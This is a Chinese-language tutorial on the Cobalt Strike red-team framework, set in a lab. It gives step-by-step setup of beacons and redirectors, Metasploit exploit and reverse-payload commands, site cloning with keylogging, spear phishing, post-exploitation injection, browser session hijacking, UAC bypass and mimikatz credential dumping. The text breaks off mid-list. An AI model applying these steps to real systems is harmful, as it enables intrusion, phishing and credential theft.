0x00 写在前面的话
Cobalt Strike自出世以来,一直在红队常用的工具行列。因其优良的团队协作性,被冠以多人运动的必备利器。
本文将网络上各路神仙的经验分享以渗透流程为依据进行了一次整合,旨在提供工具的学习使用流程。
1、工具介绍
CS是什么?
Cobalt Strike是一款渗透测试神器,常被业界人称为CS神器。Cobalt Strike已经不再使用MSF而是作为单独的平台使用,它分为客户端与服务端,服务端是一个,客户端可以有多个,可被团队进行分布式协团操作。
Cobalt Strike集成了端口转发、扫描多模式端口Listener、Windows exe程序生成、Windows dll动态链接库生成、java程序生成、office宏代码生成,包括站点克隆获取浏览器的相关信息等。
早期版本Cobalt Srtike依赖Metasploit框架,而现在Cobalt Strike已经不再使用MSF而是作为单独的平台使用。
这个工具的社区版是大家熟知的Armitage(一个MSF的图形化界面工具),而Cobalt Strike大家可以理解其为Armitage的商业版。
CS的发展
- Armitage [2010-2012]
Armitage是一个红队协作攻击管理工具,它以图形化方式实现了Metasploit框架的自动化攻击。Armitage采用Java构建,拥有跨平台特性。 - Cobalt Strike 1.x [2012-2014]
Cobalt Strike 增强了Metasploit Framework在执行目标攻击和渗透攻击的能力。 - Cobalt Strike 2.x [2014-?]
Cobalt Strike 2是应模拟黑客攻击的市场需求而出现的,Cobalt Strike 2是以malleable C2技术的需求为定位的,这个技术使Cobalt Strike的能力更强了一些。 - Cobalt Strike 3.x [2015-?]
Cobalt Strike 3 的攻击和防御都不用在Metasploit Framework平台(界面)下进行。 - 如今 Cobalt Strike 4.0 也已经发布,改动相比 3.x 还是不小的,甚至现在也有所谓去后门的4.2版本现世。
测试过程常常会联动的工具
Metasploit Framework
PowerSploit
PowerTools
Veil Evasion Framework
0x01 基础操作
1、客户端与服务端的连接
Cobalt Strike使用C/S架构,Cobalt Strike的客户端连接到团队服务器,团队服务器连接到目标,也就是说Cobalt Strike的客户端不与目标服务器进行交互。
准备工作
Cobalt Strike的客户端想连接到团队服务器需要知道三个信息:
- 团队服务器的外部IP地址
- 团队服务器的连接密码
- 决定Malleable C2工具的哪一个用户配置文件被用于团队服务器(此项可选)
知道这些信息后,就可以使用脚本开启团队服务器了,值得注意的是Cobalt Strike团队服务器只能运行在Linux环境下。
开启团队服务器
开启团队服务器命令一般如下:
./teamserver your_ip your_passowrd [config_file]
服务端开启后,就可以开启客户端进行连接了
连接到团队服务器
在Linux下,直接运行start.sh脚本文件,输入团队服务器的IP、密码和自己的用户名进行连接
点击Connect连接后,会有个提示信息,如果承认提示信息中的哈希值就是所要连接团队服务器的哈希值就点击Yes,随后即可打开CS客户端界面
在Windows下的连接方法也基本一致,直接双击start.bat文件,输入IP、密码、用户名,点击Connect即可
在连接后,团队之间就可以通过客户端进行沟通,信息共享
Cobalt Strike不是用来设计指导在一个团队服务器下进行工作的,而是被设计成在一次行动中使用多个团队服务器。
这样设计的目的主要在于运行安全,如果一个团队服务器停止运行了,也不会导致整个行动的失败。
连接到多个团队服务器
Cobalt Strike连接到多个团队服务器也很简单,直接点击左上角的加号,输入其他团队服务器的信息后,即可连接
2、监听器、传输器
- 什么是监听器
顾名思义,监听器就是等待被入侵系统连接自己的一个服务。 - 监听器的作用
主要是为了接受payload回传的各类数据,类似于MSF中handler的作用。
比如payload在目标机器执行以后,就会回连到监听器然后下载执行真正的shellcode代码。
一旦监听器建立起来,团队成员只需要知道这个监听器的名称即可,不用关心监听器背后的基础环境。
一个监听器由用户定义的名称、payload 类型和几个特定于 payload 的选项组成。
监听器的名字一般由以下结构组成:
Operating System/Payload/Stager
例如:
windows/beacon_http/reverse_http
- 什么是传输器
攻击载荷payload就是攻击执行的内容。攻击载荷通常被分为两部分:传输器stager 和传输体stage。
传输器stager是一个小程序,用于连接、下载传输体stage,并插入到内存中。
需要传输体是因为在很多攻击中对于能加载进内存,并在成功漏洞利用后执行的数据大小存在严格限制。这就导致在攻击成功时,很难嵌入额外的攻击载荷,正是因为这些限制,才使得传输器变得有必要了。
创建监听器
在CS客户端中打开 Cobalt Strike —》Listeners,之后点击Add,此时弹出New Listener窗口,在填写监听器的相关信息之前,需要先来了解监听器有哪些类型。
Cobalt Strike有两种类型的监听器:
- Beacon
Beacon直译过来就是灯塔、信标、照亮指引的意思,Beacon是较为隐蔽的后渗透代理。
Beacon监听器的名称例如:
windows/beacon_http/reverse_http
- Foreign
Foreign直译就是外部的,可以理解成对外监听器,这种类型的监听器主要作用是给其他的Payload提供别名,比如Metasploit 框架里的Payload。
对外监听器的名称例如:
windows/foreign/reverse_https
HTTP 和 HTTPS Beacon
Beacon是什么
- Beacon是CS的Payload。
- Beacon有两种通信模式。一种是异步通信模式,这种模式通信效率缓慢,Beacon回连团队服务器、下载任务、然后休眠;另一种是交互式通信模式,这种模式的通信是实时发生的。
- 通过HTTP、HTTPS和DNS出口网络。
- 使用SMB协议的时候是点对点通信。
- Beacon有很多的后渗透攻击模块和远程管理工具。
Beacon的类型
HTTP 和 HTTPS Beacon
HTTP和HTTPS Beacon也可以叫做Web Beacon。默认设置情况下,HTTP 和 HTTPS Beacon 通过 HTTP GET 请求来下载任务。这些 Beacon 通过 HTTP POST 请求传回数据。
windows/beacon_http/reverse_http
windows/beacon_https/reverse_https
创建一个HTTP Beacon
点击 Cobalt Strike --> Listeners 打开监听器管理窗口,点击Add,输入监听器的名称、监听主机地址,因为这里是要创建一个HTTP Beacon,所以其他的默认就行,最后点击Save
此时可以测试一下刚才设置的监听器,点击Attack --> Web Drive-by --> Scripted Web Delivery(s) ,在弹出的窗口中选择刚才新添的Listener,因为我的靶机是64位的,所以我把Use x64 payload也给勾选上了,最后点击Launch
复制弹窗的命令,放到靶机中运行
此时,回到CS,就可以看到已经靶机上线了
HTTPS Beacon
HTTPS Beaocn和HTTP Beacon一样,使用了相同的Malleable C2配置文件,使用GET和POST的方式传输数据,不同点在于HTTPS使用了SSL,因此HTTPS Beacon就需要使用一个有效的SSL证书,具体如何配置可以参考:https://www.cobaltstrike.com/help-malleable-c2#validssl (opens new window)
DNS Beacon
DNS Beacon,顾名思义就是使用DNS请求将Beacon返回。这些 DNS 请求用于解析由你的 CS 团队服务器作为权威 DNS 服务器的域名。DNS 响应告诉 Beacon 休眠或是连接到团队服务器来下载任务。DNS 响应也告诉 Beacon 如何从你的团队服务器下载任务。
在CS 4.0及之后的版本中,DNS Beacon是一个仅DNS的Payload,在这个Payload中没有HTTP通信模式,这是与之前不同的地方。
DNS Beacon的工作流程具体如下:
首先,CS服务器向目标发起攻击,将DNS Beacon传输器嵌入到目标主机内存中,然后在目标主机上的DNS Beacon传输器回连下载CS服务器上的DNS Beacon传输体,当DNS Beacon在内存中启动后就开始回连CS服务器,然后执行来自CS服务器的各种任务请求。
原本DNS Beacon可以使用两种方式进行传输,一种是使用HTTP来下载Payload,一种是使用DNS TXT记录来下载Payload,不过现在4.0版本中,已经没有了HTTP方式,CS4.0以及未来版本都只有DNS TXT记录这一种选择了。
*DNS Beacon拥有更高的隐蔽性,但是速度相对于HTTP Beacon什么的会更慢. *
windows/beacon_dns/reverse_dns_txt
windows/beacon_dns/reverse_http
创建一个DNS Beacon
域名配置
既然是配置域名,所以就需要先有个域名,添加一条A记录指向CS服务器的公网IP,再添加几条ns记录指向A记录域名即可。
添加一个监听器,DNS Hosts填写NS记录和A记录对应的名称,DNS Host填写A记录对应的名称 。
根据上一章的方法创建一个攻击脚本,放到目标主机中运行后,在CS客户端可以看到一个小黑框。
然后经过一段时间的等待,就可以发现已经上线了
SMB Beacon
SMB Beacon也可以叫做pipe beacon
windows/beacon_smb/bind_pipe
SMB Beacon 使用命名管道通过一个父 Beacon 进行通信。这种对等通信对同一台主机上的 Beacon 和跨网络的 Beacon 都有效。Windows 将命名管道通信封装在 SMB 协议中。因此得名 SMB Beacon。
因为链接的Beacons使用Windows命名管道进行通信,此流量封装在SMB协议中,所以SMB Beacon相对隐蔽,绕防火墙时可能发挥奇效(系统防火墙默认是允许445的端口与外界通信的,其他端口可能会弹窗提醒,会导致远程命令行反弹shell失败)。
SMB Beacon监听器对“提升权限”和“横向渗透”中很有用。
SMB Beacon 配置
首先需要一个上线的主机,这里我使用的HTTP Beacon。
主机上线后,新建一个SMB Beacon,输入监听器名称,选择Beacon SMB,管道名称可以直接默认,也可以自定义。
接下来在Beacon中直接输入spawn SMB,这里的SMB指代的是创建的SMB Beacon的监听器名称,也可以直接右击session,在Spawn选项中选择刚添加的SMB Beacon。
等待一会儿,就可以看到派生的SMB Beacon,在external中可以看到IP后有个∞∞字符。
接下来我这里将SMB Beacon插入到进程中,以vmtoolsed进程为例。
在vmtoolsed中插入SMB Beacon后,便能看到process为vmtoolsed.exe的派生SMB Beacon。
当上线主机较多的时候,只靠列表的方式去展现,就显得不太直观了,通过CS客户端中的透视图便能很好的展现。
在CS中,如果获取到目标的管理员权限,在用户名后会有*号标注,通过这个区别,可以判断出当前上线的test用户为普通权限用户,因此这里给他提升一下权限。
提权
由于CS自带的提权方式较少,因此这里就先加载一些网上的提权脚本,脚本下载地址为: https://github.com/rsmudge/ElevateKit (opens new window)
下载之后,打开Cobalt Strike --> Script Manager ,之后点击Load,选择自己刚才下载的文件中的elevate.cna文件。
接着选择要提权的主机,右击选择Access --> Elevate,Listener中选择刚才新建的SMB Beacon,这里的Exploit选择了ms14-058,如果使用ms14-058不能提权,就换一个Exploit进行尝试。
顺利的情况下,就可以看到提权后的管理员权限会话了,在管理员权限的会话中,不光用户名后有个*号,其Logo也是和其他会话不同的。
连接与断开
此时如果想断开某个会话的连接,可以使用unlink命令,比如如果想断开192.168.175.144,就可以在Beacon中输入
unlink 192.168.175.144
如果想再次连上,就直接输入link 192.168.175.144,想从当前主机连到其他主机也可以使用此命令。
3、重定向器
重定向器Redirectors是一个位于CS团队服务器和目标网络之间的服务器,这个重定向器通俗的来说就是一个代理工具,或者说端口转发工具,担任CS服务器与目标服务器之间的跳板机角色,整体流量就像下面这样。
目标靶机 <-------->多个并列的重定向器<------>CS服务器
重定向器在平时的攻击或者防御的过程中起到很重要的作用,主要有以下两点:
- 保护自己的CS服务器,避免目标发现自己的真实IP
- 提高整体可靠性,因为可以设置多个重定向器,因此如果有个别重定向器停止工作了,整体上系统依旧是可以正常工作的
创建一个重定向器
CS服务器IP:192.168.175.129
目标靶机IP:192.168.175.130
重定向器IP:192.168.175.132、192.168.175.133
首先,需要先配置重定向器的端口转发,比如这里使用HTTP Beacon,就需要将重定向器的80端口流量全部转发到CS服务器上,使用socat的命令如下:
socat TCP4-LISTEN:80,fork TCP4:192.168.175.129:80
如果提示没有socat命令,安装一下即可。重定向器设置好之后,就新建一个HTTP Beacon,并把重定向器添加到HTTP Hosts主机列表中
此时可以测试一下重定向器是否正常工作,在CS中打开 View --> Web Log,之后浏览器访问CS服务器地址,也就是这里的192.168.175.129
可以看到CS是能够正常接收到流量的,说明重定向器已经配置OK了,此时按照上面创建一个HTTP Beacon的操作,创建一个HTTP Beacon,并在靶机中运行
当靶机上线的时候,观察靶机中的流量,可以看到与靶机连接的也是重定向器的IP
在CS中也可以看到上线主机的外部IP也是重定向器的IP,此时如果关闭一个重定向器,系统依旧可以正常工作。
0x02 目标攻击
“红蓝大战”持续至今,诞生了各种WAF、防火墙。各种漏洞已经很难像过去那么好被利用了,攻击者想绕过防火墙发动攻击也不是那么容易的了。
而当我们发送一个钓鱼文件到目标机上,再在目标机上打开这个文件,最后目标机穿过防火墙回连到我们的服务,此时在目标机客户端上我们就获得了一个立足点。
1、系统侦察
系统侦察System Profiler是一个方便客户端攻击的侦察工具,这个工具将会在CS服务端上启动一个Web服务,这样当目标访问这个Web服务的时候,我们就能够看到目标使用的浏览器、操作系统等等指纹信息。
设置系统侦察需要首先在自己的VPS服务器上运行CS服务端,之后本地客户端进行连接,选择System Profiler功能模块,配置待跳转的URL等信息即可。
如果勾选了Use Java Applet to get information则可以发现目标的Java版本及内网IP地址,但是这样做被发现的风险就会提高,同时现在浏览器已经默认关闭了java执行权限,因此这个选项的作用也变得不大了。不过,工控网络可以尝试一下。
配置完后,当用户打开配置后的链接,我们可以在三个地方进行观察
- 1、View --> Applications
- 2、View --> Web Log
- 3、Cobalt Strike --> Visualization --> Target Table
目标用户打开链接时,我们在CS上就能够看到目标使用的浏览器版本、系统版本等信息了,知道了版本信息,就能够进一步知道目标上可能存在什么漏洞。
值得注意的一点是如果 Cobalt Strike 的 web 服务器收到了lynx、wget 或 curl 的请求,CS会自动返回一个 404 页面,这样做是为了防御蓝队的窥探。
2、CS攻击方式
用户驱动攻击
用户驱动攻击User-Driven Attacks需要欺骗用户产生交互才行,但也有许多的优点。
首先用户驱动攻击不包含恶意攻击代码,所以用户系统上的安全补丁是没用的;其次无论目标使用什么版本的程序,我们都可以创建相应的功能来执行;最后因为用户驱动攻击十分可靠,也使得它很完美。
当我们采取行动来追踪并需要攻击时,它就像用户本地执行程序一样,CS为我们提供了几个用户驱动攻击的选项,分别如下:
用户驱动攻击包
用户驱动攻击包User-Driven Attacks Packages功能打开位置:Attacks --> Packages
- 1、HTML应用
HTML应用HTML Application生成(executable/VBA/powershell)这3种原理不同的VBScript实现的evil.hta文件。 - 2、Microsoft Office 宏文件
Microsoft Office 宏文件Microsoft Office Document Macros可以生成恶意宏放入office文件,非常经典的攻击手法。 - 3、Payload 生成器
Payload生成器Payload Generator可以生成各种语言版本的Payload,便于进行免杀。 - 4、Windows 可执行文件
Windows 可执行文件Windows Executable 会生成一个Windows可执行文件或DLL文件。默认x86,勾选x64表示包含x64 payload stage生成了artifactX64.exe(17kb) artifactX64.dll(17kb) - 5、Windows 可执行文件(Stageless)
Windows 可执行文件(Stageless)Windows Executable (Stageless)会生成一个无进程的Windows可执行文件或DLL文件。其中的 Stageless 表示把包含payload在内的"全功能"被控端都放入生成的可执行文件beconX64.exe(313kb) beconX64.dll(313kb) becon.ps1(351kb)
用户驱动的Web交付攻击
用户驱动Web交付攻击User-Driven Web Drive-by Attacks功能打开位置:Attacks --> Web Drive-by
- 1、java 签名 applet 攻击
java 签名 applet 攻击Java Signed Applet Attack会启动一个Web服务以提供自签名Java Applet的运行环境,浏览器会要求用户授予applet运行权限,如果用户同意则实现控制,但目前该攻击方法已过时。 - 2、Java 智能 Applet 攻击
Java 智能 Applet 攻击Java Smart Applet Attack会自动检测Java版本并利用已知的漏洞绕过安全沙箱,但CS官方称该攻击的实现已过时,在现在的环境中无效。 - 3、脚本化 Web 交付
脚本化 Web 交付Scripted Web Delivery 为payload提供web服务以便于下载和执行,类似于MSF的Script Web Delivery - 4、托管文件
托管文件Host File通过Attacks --> Web Drive-by --> Host File进行配置,攻击者可以通过这个功能将文件上传到CS服务端上,从而进行文件托管。
如果想删除上传到CS服务端上的文件,可以到Attacks --> Web Drive-by --> Manage下进行删除。
如果想查看谁访问了这些文件,可以到View --> Web Log下进行查看。
3开始攻击
HTML 应用攻击
首先来到Attacks --> Packages --> HTML Application创建一个HTML应用,如果没有创建监听的话,还需要创建一个监听。
HTML应用文件生成好后,来到Attacks --> Web Drive-by --> Host File,选择刚才生成的文件,最后点击Launch,复制CS创建的链接,在目标主机上打开此链接。
当在目标主机上提示是否运行时,点击运行。
当该文件在目标上运行后,CS客户端上就可以看到回连的会话了。
MSF 与 CS 的结合利用
如果想使用MSF对目标进行漏洞利用,再通过这个漏洞来传输Beacon的话,也是可以的。
- 1、首先在MSF上选择攻击模块
- 2、接着在MSF上设置Payload为windows/meterpreter/reverse_http或者windows/meterpreter/reverse_https,这么做是因为CS的Beacon与MSF的分阶段协议是相兼容的。
- 3、之后在MSF中设置Payload的LHOST、LPORT为CS中Beacon的监听器IP及端口。
- 4、然后设置 DisablePayloadHandler 为 True,此选项会让 MSF 避免在其内起一个 handler 来服务你的 payload 连接,也就是告诉MSF说我们已经建立了监听器,不必再新建监听器了。
- 5、再设置 PrependMigrate 为 True,此选项让 MSF 前置 shellcode 在另一个进程中运行 payload stager。如果被利用的应用程序崩溃或被用户关闭,这会帮助 Beacon 会话存活。
- 6、最后运行exploit -j,-j 是指作为job开始运行,即在后台运行。
操作
在CS中新建一个HTTP Beacon,创建过程不再赘述。
-
1、在MSF中选择攻击模块,根据教程这里选择的adobe_flash_hacking_team_uaf模块,不过个人感觉现在这个模块已经不太能被利用成功了。
use exploit/multi/browser/adobe_flash_hacking_team_uaf -
2、接着配置payload,这里选择revese_http payload
set payload windows/meterpreter/revese_http
set LHOST cs_server_ip
set LPORT 80 -
3、之后,配置DisablePayloadHandler、PrependMigrate为 True
set DisablePayloadHandler True
set PrependMigrate True -
4、最后,开始攻击。
exploit -j
伪装—克隆网站
在向目标发送漏洞程序之前,我们将自己进行伪装一下,这样可以更好的保护自己,同时提高成功率。CS上有个克隆网站的功能,能够较好的帮助到我们。
首先,来到Attacks --> Web Drive-by --> Clone Site下,打开克隆网站的功能,之后写入待克隆网站的URL,在Attack中写入MSF中生成的URL。
其中Log keystrokes on cloned site选项如果勾选则可以获取目标的键盘记录,记录结果在Web Log中能够查看。
之后,浏览器打开克隆站点地址,如果目标存在漏洞,就可以被利用了,同时在CS中也会观察到主机上线。
鱼叉式网络钓鱼
用CS进行钓鱼需要四个步骤:
- 1、创建一个目标清单
- 2、制作一个邮件模板或者使用之前制作好的模板
- 3、选择一个用来发送邮件的邮件服务器
- 4、发送邮件
目标清单
目标清单就是每行一个邮件地址的txt文件,即每行包含一个目标。
在一行中除了邮件地址也可以使用标签或一个名字。如果提供了名称,则有助于 Cobalt Strike 自定义每个网络钓鱼。
这里使用一些在线邮件接收平台的邮箱地址作为示例。
astrqb79501@chacuo.net test1
gswtdm26180@chacuo.net test2
ypmgin95416@chacuo.net test3
将以上内容保存为txt文本文件,就创建好了自己的目标清单。
模板
使用模板的好处在于可以重复利用,制作钓鱼模板也很简单。
首先可以自己写一封邮件发给自己,或者直接从自己收件箱挑选一个合适的。有了合适的邮件之后,查看邮件原始信息,一般在邮件的选项里能找到这个功能。最后将邮件的原始信息保存为文件,一个模板就制作完成了。
发送邮件
有了目标和模板,然后选好自己的邮件服务器,之后就可以发送消息了。
在CS客户端中,点击Attacks --> Spear Phish即可打开网络钓鱼模块。添加上目标、模板、钓鱼地址、邮箱服务、退回邮箱,其中Bounce To为退回邮件接收地址,注意要和配置邮件服务器时填的邮箱一致,否则会报错。
所有信息添加完成后,可以点击Preview查看。如果感觉效果不错,就可以点击send发送了。
当目标收到钓鱼邮件,并且点击钓鱼邮件中的链接后,如果钓鱼链接配置的没有问题,CS就能够上线了。
在真实环境中的钓鱼邮件也不会像这里这么浮夸,真实环境中的钓鱼邮件往往都伪装成和正经儿的邮件一模一样,单从表面上看很难看出区别,因此提高自己的安全意识还是很重要滴。
0x03后渗透
1、Beacon 的管理
Beacon 控制台
在一个 Beacon 会话上右击 interact(交互)即可打开 Beacon 控制台,如果想对多个会话进行控制,也只需选中多个会话,执行相关功能即可。
在 Beacon 的控制台中的输入与输出之间,是一个状态栏,状态栏上的信息分别是:目标 NetBIOS 名称、用户名、会话PID以及 Beacon 最近一次连接到 CS 团队服务器的时间。
Beacon 控制台是在使用 CS 的过程中,很经常用到的功能,向 Beacon 发出的每个命令,都可以在这里看到,如果队友发送了消息,在 Beacon 控制台同样能看到,消息前还会显示队友的名称。
Beacon 菜单
- Access:包含了一些对凭据的操作及提权的选项
- Explore:包含了信息探测与目标交互的选项
- Pivoting:包含了一些设置代理隧道的选项
- Session:包含了对当前 Beacon 会话管理的选项
- Beacon 命令
- help:查看 Beacon 命令的帮助信息。使用 help + 待查看帮助的命令可查看该命令的帮助信息。
- clear:清除 Beacon 命令队列。Beacon 是一个异步的 Payload,输入的命令并不会立即执行,而是当 Beacon 连接到团队服务器时再一一执行命令,因此当需要清除队列命令时就可以使用 clear 命令。
- sleep:改变 Beacon 的休眠时间。输入 sleep 30表示休眠30秒;输入sleep 60 50表示,随机睡眠 30秒至60秒,其中30秒 = 60 x 50%;如果输入 sleep 0则表示进入交互模式,任何输入的命令都会被立即执行,当输入一些命令,比如desktop时, Beacon 会自动进入交互模式。
- shell:通过受害主机的 cmd.exe 执行命令。比如运行ipconfig,就需要输入shell ipconfig
- run:不使用 cmd.exe 执行命令。该命令也是 run + 命令的形式运行,该命令会将执行结果回显。
- execute:执行命令,但不回显结果。
- cd:切换当前工作目录。
- pwd:查看当前所在目录。
- powershell:通过受害主机的 PowerShell 执行命令。比如想在 PowerShell 下运行 ipconfig,就需要输入powershell ipconfig
- powerpick:不使用 powershell.exe 执行 powershell 命令。这个命令依赖于由 Lee Christensen 开发的非托管 PowerShell 技术。powershell 和 powerpick 命令会使用当前令牌( token )。
- psinject:将非托管的 PowerShell 注入到一个特定的进程中并从此位置运行命令。
- powershell-import:导入 PowerShell 脚本到 Beacon 中。直接运行 powershell-import + 脚本文件路径即可,但是这个脚本导入命令一次仅能保留一个 PowerShell 脚本,再导入一个新脚本的时候,上一个脚本就被覆盖了,因此可以通过导入一个空文件来清空 Beacon 中导入的脚本。
- powershell get-help:获取 PowerShell 命令的相关帮助信息。比如想获取 PowerShell 下 get-process 命令的帮助,就需要输入powershell get-help get-process
- execute-assembly:将一个本地的 .NET 可执行文件作为 Beacon 的后渗透任务来运行。
- setenv:设置一个环境变量。
2、会话传递
会话传递相关命令
- Beacon 被设计的最初目的就是向其他的 CS 监听器传递会话。
- spawn:进行会话的传递,也可直接右击会话选择spawn命令进行会话的选择。默认情况下,spawn命令会在 rundll32.exe 中派生一个会话。为了更好的隐蔽性,可以找到更合适的程序(如 Internet Explorer) 并使用spawnto命令来说明在派生新会话时候会使用 Beacon 中的哪个程序。
- spawnto:该命令会要求指明架构(x86 还是 x64)和用于派生会话的程序的完整路径。单独输入spawnto命令然后按 enter 会指示 Beacon 恢复至其默认行为。
- inject:输入inject + 进程 id + 监听器名来把一个会话注入一个特定的进程中。使用 ps 命令来获取一个当前系统上的进程列表。使用inject [pid] x64来将一个64位 Beacon 注入到一个 64位进程中。
- spawn和inject命令都将一个 payload stage 注入进内存中。如果 payload stage 是 HTTP、HTTPS 或 DNS Beacon 并且它无法连接到你,那么将看不到一个会话。如果 payload stage 是一个绑定的 TCP 或 SMB 的 Beacon,这些命令会自动地尝试连接到并控制这些 payload。
- dllinject:dllinject + [pid]来将一个反射性 DLL 注入到一个进程中。
- shinject:使用shinject [pid] [架构] [/路径/…/file.bin]命令来从一个本地文件中注入 shellcode 到一个目标上的进程中。
- shspawn:使用shspawn [架构] [/路径/…/file.bin]命令会先派生一个新进程(这个新进程是 spawn to 命令指定的可执行文件),然后把指定的 shellcode 文件( file.bin )注入到这个进程中。
- dllload:使用dllload [pid] [c:\路径…\file.dll]来在另一个进程中加载磁盘上的 DLL文件。
会话传递使用场景
1、将当前会话传递至其他CS团队服务器中,直接右击spawn选择要传递的监听器即可。
2、将当前会话传递至MSF中,这里简单做一下演示。
首先,在MSF中,为攻击载荷新建一个payload
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_https
msf5 exploit(multi/handler) > set lhost 192.168.175.156
msf5 exploit(multi/handler) > set lport 443
msf5 exploit(multi/handler) > exploit -j
随后,在CS中新建一个外部Foreign监听器,这里设置的监听IP与端口和MSF中的一致即可,随后在CS中利用spawn选择刚新建的外部监听器,MSF中即可返回会话。
3、文件系统
浏览会话系统文件位置在右击会话处,选择 Explore --> File Browser即可打开。在这里可以对当前会话下的文件进行浏览、上传、下载、删除等操作。
在进行文件浏览时,如果 beacon 设置的 sleep 值较高,CS会因此而变得响应比较慢。
彩色文件夹表示该文件夹的内容位于此文件浏览器的缓存中;深灰色的文件夹表示该文件夹的内容不在此文件浏览器缓存中。
文件下载
- download:下载请求的文件。Beacon 会下载它的任务要求获取的每一个文件的固定大小的块。这个块的大小取决于 Beacon 当前的数据通道。HTTP 和 HTTPS 通道会拉取 512kb 的数据块。
- downloads:查看当前 Beacon 正在进行的文件下载列表。
- cancel:该命令加上一个文件名来取消正在进行的一个下载任务。也可以在 cancel 命令中使用通配符来一次取消多个文件下载任务。
下载文件都将下载到CS团队服务器中,在View --> Download下可看到下载文件的记录,选中文件后使用Sync Files即可将文件下载到本地。
文件上传
- upload:上传一个文件到目标主机上。
- timestomp:将一个文件的修改属性访问属性和创建时间数据与另一个文件相匹配。当上传一个文件时,有时会想改变此文件的时间戳来使其混入同一文件夹下的其他文件中,使用timestomp 命令就可以完成此工作。
4、用户驱动溢出攻击
Beacon 运行任务的方式是以jobs去运行的,比如键盘记录、PowerShell 脚本、端口扫描等,这些任务都是在 beacon check in 之间于后台运行的。
- jobs:查看当前 Beacon 中的任务
- jobkill:加上任务 ID,对指定任务进行停止
屏幕截图
- screenshot:获取屏幕截图,使用screenshot pid来将截屏工具注入到一个 x86 的进程中,使用screenshot pid x64注入到一个 x64 进程中,explorer.exe 是一个好的候选程序。
- 使用screenshot [pid] [x86|x64] [time]来请求截屏工具运行指定的秒数,并在每一次 Beacon 连接到团队服务器的时候报告一张屏幕截图,这是查看用户桌面的一种简便方法。要查看截屏的具体信息,通过View --> Screenshots来浏览从所有 Beacon 会话中获取的截屏。
键盘记录
- keylogger:键盘记录器,使用keylogger pid来注入一个 x86 程序。使用keylogger pid x64来注入一个 x64 程序,explorer.exe 是一个好的候选程序。
使用单独的 keylogger 命令来将键盘记录器注入一个临时程序。键盘记录器会监视从被注入的程序中的键盘记录并将结果报告给 Beacon,直到程序终止或者自己杀死了这个键盘记录后渗透任务。要查看键盘记录的结果,可以到View --> Keystrokes中进行查看。
其他
除了上述使用命令的方式进行屏幕截图和键盘记录,也可以来到Explore --> Process List下选择要注入的进程,再直接点击屏幕截图或键盘记录的功能按钮。
从使用上,具体注入那个程序都是可以的,只是注入 explorer.exe 会比较稳定与持久。值得注意的是,多个键盘记录器可能相互冲突,每个桌面会话只应使用一个键盘记录器。
5、浏览器转发
浏览器转发是指在已经攻击成功的目标中,利用目标的信息登录网站进行会话劫持,但是目前只支持目标正在使用IE浏览器的前提下。关于如何判断当前用户是否使用IE浏览器,则可以通过屏幕截图来判断。如下图中,通过屏幕截图可以看到目标正在使用IE浏览器登陆着当前网站的admin账户。
找到目前正在使用IE浏览器的目标后,右击该会话,选择Explore --> Browser Pivot,随后选择要注入的进程,CS 会在它认为可以注入的进程右边显示一个对勾,设置好端口后,点击运行即可。
此时,在浏览器中配置代理,代理配置为http代理,IP为CS团队服务器IP,端口为刚设置的端口。
代理配置好后,在浏览器中打开目标当前正在打开的网址,即可绕过登录界面。
6、端口扫描
portscan:进行端口扫描,使用参数为:portscan [targets] [ports] [discovery method]。
目标发现discovery method有三种方法,分别是:arp、icmp、none,arp方法使用 ARP 请求来发现一个主机是否存活。icmp方法发送一个 ICMP echo 请求来检查一个目标是否存活。none选项让端口扫描工具假设所有的主机都是存活的。
端口扫描会在 Beacon 和团队服务器通讯的这个过程中不停运行。当它有可以报告的结果,它会把结果发送到 Beacon 控制台。Cobalt Strike 会处理这个信息并使用发现的主机更新目标模型。
右击 Beacon会话,在Explore --> Port Scan中即可打开端口扫描的图形窗口,CS会自动填充扫描地址,确认扫描地址、端口、扫描方式等无误后,开始扫描即可。扫描结束后,在 target table页面中可看到扫描结果,右击会话,选择 Services 可查看详细的扫描结果。
0x04 提权
1、用户账户控制
自 Windows vista 开始,Windows 系统引进了用户账户控制机制,即 UAC—User Account Control机制,UAC 机制在 Win 7中得到了完善。UAC 与 UNIX 中的 sudo 工作机制十分相似,平时用户以普通权限工作,当用户需要执行特权操作时,系统会询问他们是否要提升权限。
此时系统用户可分为以下三种等级:
高:管理员权限
中:一般用户权限
低:受限制的权限
2、提权操作
bypassuac:将本地中级管理员权限提升至本地高级管理员权限,适用于Win 7 及以上的系统。
Bypass UAC 有两个步骤,分别是:
1、利用 UAC 漏洞来获取一个特权文件副本
2、使用 DLL 劫持进行代码执行
首先使用shell whoami /groups查看当前上线主机用户的所属组及 UAC 等级
通过返回信息可以看出,当前用户为管理员权限,UAC 等级为中,根据上一节中关于的介绍,此时可以使用bypassuac进行提权。
首先,右击会话,选择Access --> Elevate,这里选择一个 SMB Beacon,Exploit 选择uac-token-duplication,最后 Launch 即可。
待 Beacon Check in 后,当前用户 UAC 为高权限的会话便会上线了。
elevate:将任意用户的权限提升至系统权限,适用于2018年11月更新之前的 Win 7 和 Win 10 系统。
getsystem:将本地高级管理员权限提升至系统权限。
runas:使用其他用户的凭证来以其他用户身份运行一个命令,该命令不会返回任何输出。
spawnas:使用其他用户的凭证来以其他用户身份派生一个会话,这个命令派生一个临时的进程并将 payload stage 注入进那个进程。
首先,右击待提权的会话,选择Access --> Spawn As,输入目标系统用户身份信息,其中域信息填写一个“点”代表本地用户,监听器这里选择的 SMB 监听器,之后点击运行就能看到对应的用户上线了。
PowerUp
可参考https://blog.csdn.net/l1028386804/article/details/86089574
3、 凭证和哈希获取
想要获取凭证信息,可以在管理员权限的会话处右击选择Access --> Dump Hashes,或者在控制台中使用hashdump命令。
想获取当前用户的密码,可以运行mimikatz,右击管理员权限会话选择Access --> Run Mimikatz,或在控制台运行logonpasswords命令。
在View --> Credentials下可以查看到hashdump与mimikatz获取的数据。
Beacon 中的 Mimikatz
在 Beacon 中集成了 mimikatz ,mimikatz 执行命令有三种形式:
mimikatz [module::command]
运行 mimikatz 命令
mimikatz [!module::command]
强制提升到 SYSTEM 权限再运行命令,因为一些命令只有在 SYSTEM 身份下才能被运行。
mimikatz [@module::command]
使用当前 Beacon 的访问令牌运行 mimikatz 命令
下面是一些mimikatz命令。
- !lsadump::cache
获取缓存凭证,默认情况下 Windows 会缓存最近10个密码哈希 - !lsadump::sam
获取本地账户密码哈希,该命令与 hashdump 比较类似 - misc::cmd
如果注册表中禁用了 CMD ,就重新启用它 - !misc::memssp
